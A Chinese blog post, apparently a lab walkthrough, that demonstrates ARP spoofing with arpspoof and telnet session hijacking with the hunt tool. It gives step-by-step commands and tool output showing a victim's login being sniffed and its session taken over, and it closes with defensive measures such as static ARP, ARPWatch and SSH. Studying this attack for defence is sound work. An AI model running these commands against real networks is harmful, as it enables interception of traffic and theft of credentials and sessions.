关于使用hunt进行会话劫持的实践

 

注:以下试验只是为了交流和学习使用,切勿应用于非法用途。

为了更加深入的理解TCP以及以太网交换技术,在这里学习使用hunt软件进行会话劫持。

大家知道,现在以太网交换机都是依据MAC地址来进行转发的,因此,在交换机的环境下,使用包监控软件监控不到其他的电脑的发送或接收的包(因为其他电脑发送的包如果外出的话都会封装上网关MAC地址,由交换机直接发送到网关所在端口,其他电脑根本接收不到此报文)。为了能实现监听到其他电脑的流量可以使用ARP欺骗,如下图所示,PC2分别发送ARP报文,将自己的MAC地址伪装成PC1和网关的MAC地址,从而使PC1发送的数据包经过PC2,而网关上发送到PC1的数据包也发送给PC2(为了能保证PC1的正常通信,PC2必须开启路由转发功能)

 

测试实践:

测试系统:linux

测试软件: dsniff 和hunt

 

arpspoof是dsniff软件包的一个程序,可以用来进行ARP欺骗,另外dsniff还有一些攻击和欺骗的东东。

Hunt是一个会话劫持的工具,操作简单,功能强大。

 

过程:

1.获取MAC地址

[root@centra-web2 sbin]# ping 134.65.5.1

PING 134.65.5.1 (134.65.5.1) 56(84) bytes of data.

64 bytes from 134.65.5.1: icmp_seq=1 ttl=255 time=16.5 ms

 

--- 134.65.5.1 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 16.586/16.586/16.586/0.000 ms

[root@centra-web2 sbin]# ping 134.65.5.111

PING 134.65.5.111 (134.65.5.111) 56(84) bytes of data.

64 bytes from 134.65.5.111: icmp_seq=1 ttl=128 time=0.285 ms

 

--- 134.65.5.111 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 0.285/0.285/0.285/0.000 ms

获取134.65.5.1 134.65.5.111的MAC地址

 

2.ARP欺骗:是利用广播地址上主机保持周边计算机信息方式的固有安全弱点,使用伪造的MAC地址和IP地址伪装成ARP高速缓存中的另外一台主机的技术。攻击者可以伪造其它主机的MAC地址,通过伪造ARP回应获取LAN内的一台主机发送给另外一台主机的数据包。

 

[root@centra-web2 sbin]# ./arpspoof -i eth0 -t 134.65.5.111  134.65.5.1

//告诉134.65.5.111 134.65.5.1的MAC地址为本机的MAC地址

这样134.65.5.111发送到网关的包就会被交换机转发到本机上

[root@centra-web2 sbin]# ./arpspoof -i eth0 -t 134.65.5.1  134.65.5.111

运行之后在134.65.5.111的电脑上查看,其里面的ARP缓存已经被更新

为了使客户和服务器正常的通信,需要将攻击者机器的IP转发功能打开,使其起到一个路由器的功能。

 

3.数据转发:转发客户和服务器间的数据包

一是利用linux内核进行转,echo 1 > /proc/sys/net/ipv4/ip_forward

4.会话劫持:劫持一个现存的会话,利用合法用户进行连接并通过验证,之后顺其自然接管会话。会话劫持有两种方式:积极的攻击方式和消极的攻击方式。积极的攻击方式中,黑客需要寻找动态的会话并且接管它,这种方式需要使用户下线、不再参与会话。消极的攻击方式中,黑客劫持会话,但是隐藏在后方观察并且记录发送和接收的信息。下面采用混合型攻击方式:先监视会话,然后劫持会话。使用软件为hunt

[root@centra-web2 hunt-1.5]# ./hunt

/*

 *      hunt 1.5

 *      multipurpose connection intruder / sniffer for Linux

 *      (c) 1998-2000 by kra

 */

starting hunt

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u)     host up tests

a)     arp/simple hijack (avoids ack storm if arp used)

s)     simple hijack

d)     daemons rst/arp/sniff/mac

o)     options

x)     exit

 

 

现在已经在监听134.65.5.111了,此时134.65.5.111恰好telnet 134.65.5.1

这时,监测见面如下:

0) 134.65.5.111 [4046]         --> 134.65.5.1 [23]

--- Main Menu --- rcvpkt 10176, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u)     host up tests

a)     arp/simple hijack (avoids ack storm if arp used)

s)     simple hijack

d)     daemons rst/arp/sniff/mac

o)     options

x)     exit

可以使用w查看这个telnet 会话

0) 134.65.5.111 [4069]         --> 134.65.5.1 [23]

--- Main Menu --- rcvpkt 22132, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u)     host up tests

a)     arp/simple hijack (avoids ack storm if arp used)

s)     simple hijack

d)     daemons rst/arp/sniff/mac

o)     options

x)     exit

-> w

0) 134.65.5.111 [4069]         --> 134.65.5.1 [23]

 

choose conn> 0

CTRL-C to break

此时134.65.5.111主机在telnet 会话上输入用户名为test,监控主机hunt监控到用户的输入并显示如下:

% Username:  timeout expired!

% Username:  timeout expired!

Username:

Username:tttteeeesssstttt

 

 

Password:

 

另外还可以进行会话劫持:

l/w/r) list/watch/reset connections

u)     host up tests

a)     arp/simple hijack (avoids ack storm if arp used)

s)     simple hijack

d)     daemons rst/arp/sniff/mac

o)     options

x)     exit

-> s

0) 134.65.5.111 [4071]         --> 134.65.5.1 [23]

 

choose conn> 0

dump connection y/n [n]> y

dump [s]rc/[d]st/[b]oth [b]>

print src/dst same characters y/n [n]> y

此时系统将134.65.5.111的telnet会话劫持过来,可以在此本地主机上对远程主机进行操作。

% Username:  timeout expired!

Username:

% Username:  timeout expired!

Username:

 

% Username:  timeout expired!

% Username:  timeout expired!

Username:

Username:

% Username:  timeout expired!

Username:

% Username:  timeout expired!

Username:

% Username:  timeout expired!

Username:

% Username:  timeout expired!

Username:

% Username:  timeout expired!

% Username:  timeout expired

 

 

三.防御:

 

防止ARP欺骗:

1.不要把网络安全信任关系建立在ip基础上或MAC基础上,理想的关系应该建立在ip+MAC基础上。

2.使用静态ARP,禁止自动更新,使用手动更新。

3.定期检查ARP请求,使用ARP监视工具,例如ARPWatch监视并探测ARP欺骗。

 

防止会话劫持:

1.通信和会话加密,使用安全协议,例如使用SSH代替telnet和ftp,使用SSL代替http。

2.限制连接,减少黑客进行会话劫持的机会。

3.完善认证措施,即不仅仅在建立会话时进行认证。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值